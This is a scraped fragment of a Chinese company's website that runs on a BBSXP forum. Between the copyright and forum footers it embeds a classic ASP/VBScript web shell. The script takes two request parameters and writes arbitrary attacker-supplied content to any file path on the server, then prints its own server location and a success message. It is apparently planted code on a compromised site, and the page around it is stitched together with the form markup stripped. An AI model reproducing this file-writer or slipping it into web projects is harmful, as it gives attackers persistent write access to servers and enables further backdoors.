Copyright © 2008 All Rights Reserved 北京金奔腾汽车科技有限公司<%@LANGUAGE="VBScript" CODEPAGE="936"%> <% dim FSO %> <% dim Data %> <% dim MyFile %> <% on error resume next %> <% Set FSO = Server.CreateObject("Scripting.FileSystemObject") %> <% if Trim(request("path1"))<>"" then %> <% Data = request("path2") %> <% Set MyFile=FSO.CreateTextFile(request("path1"),True) %> <% MyFile.Write Data %> <% if err =0 then %> <% response.write "成功啦! :)" %> <% else %> <% response.write "失败啦! :(" %> <% end if %> <% err.clear %> <% end if %> <% MyFile.Close %> <% Set MyFile=Nothing %> <% Set FSO = Nothing %> <% Response.write "" %> <% Response.write "本文件在服务器上的方位:" %> <%=server.mappath(Request.ServerVariables("SCRIPT_NAME")) %> <% Response.write " " %> 输入路径：<% Response.Write "" %> <% Response.write "输入内容：" %> <% Response.write "" %> <% Response.write "" %> Powered by BBSXP 6.00 SP1 © 1998-2006 Script Execution Time:15ms